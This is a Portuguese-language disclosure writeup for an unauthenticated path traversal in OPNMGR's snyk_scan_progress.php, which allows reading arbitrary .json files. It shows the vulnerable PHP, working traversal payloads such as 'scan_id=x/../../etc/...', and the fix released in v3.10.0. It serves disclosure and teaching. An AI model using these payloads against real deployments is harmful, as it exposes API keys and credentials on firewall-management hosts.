
Prova de conceito e writeup para CVE-2026-103978, uma path traversal não autenticada no snyk_scan_progress.php do OPNMGR que permite a leitura arbitrária de arquivos .json.
Leitura arbitrária de arquivos .json, sem necessidade de login. Encontrei isso ao ler o
código-fonte do agit8or1/OPNMGR, um gerenciador de
frotas OPNsense escrito em PHP.
| CVE | CVE-2026-103978 |
| Advisory | GHSA-8x7v-vwpx-3wr7 |
| Classe | CWE-22 (Path Traversal) |
| Autenticação | nenhuma |
| CVSS v3.1 | 7.5 Alto (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS v4.0 | 8.7 Alto |
| Corrigido em | v3.10.0 |
| Crédito | Kanarat Kaeothong (Axiom0x) |
O snyk_scan_progress.php fica na raiz web e pega um scan_id diretamente da
query string, cola em um caminho de arquivo e entrega o resultado ao
file_get_contents(). Não há include de autenticação, nem verificação de sessão, nem sanitização do
parâmetro.
<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? ''; // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }
$progress_file = "/tmp/snyk_scan_{$scan_id}.json"; // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }
$progress_data = file_get_contents($progress_file);
echo $progress_data; // sent back to the caller
Todos os outros endpoints da aplicação incluem o inc/bootstrap.php e chamam
requireLogin() antes de fazer qualquer coisa. Este pula tudo isso. Então o scan_id
é controlado pelo atacante, entra no caminho literalmente, e o conteúdo do arquivo volta
na resposta.
Um detalhe: o prefixo snyk_scan_ é colado ao que você enviar, então um payload
que começa com .. é engolido (snyk_scan_.. é apenas um nome de arquivo estranho em /tmp).
Você precisa de um segmento descartável primeiro para que o .. realmente se torne um salto
para o diretório pai:
/tmp/snyk_scan_ + x/../../etc/passwd -> /tmp/snyk_scan_x/../../etc/passwd
-> /etc/passwd.json
O .json no final é forçado pelo código e não há truque de null-byte no
PHP moderno, então você só pode ler arquivos que terminam em .json. Em uma implantação PHP real
isso não é lá grande limitação. Arquivos de configuração, chaves de service-account, auth.json do composer,
credenciais de nuvem, a maior parte do que é interessante já está em .json.
GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
-> returns /var/www/opnsense/config.json
GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
-> walks to filesystem root, returns /etc/some_config.json
Há uma versão executável em poc/poc.sh.
Qualquer arquivo que termine em .json que o www-data possa ler, divulgado para qualquer um que consiga
acessar a página. Em uma máquina que gerencia firewalls OPNsense isso geralmente significa chaves de API e
credenciais.
Adicione o include de autenticação que o resto da aplicação usa, e valide o scan_id contra uma
allow-list restrita antes de construir o caminho:
require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();
$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid scan id']);
exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';
O mantenedor lançou a correção na v3.10.0.
Reportado através de divulgação coordenada. A versão vulnerável não é mais a versão atual. O writeup está aqui para referência e aprendizado.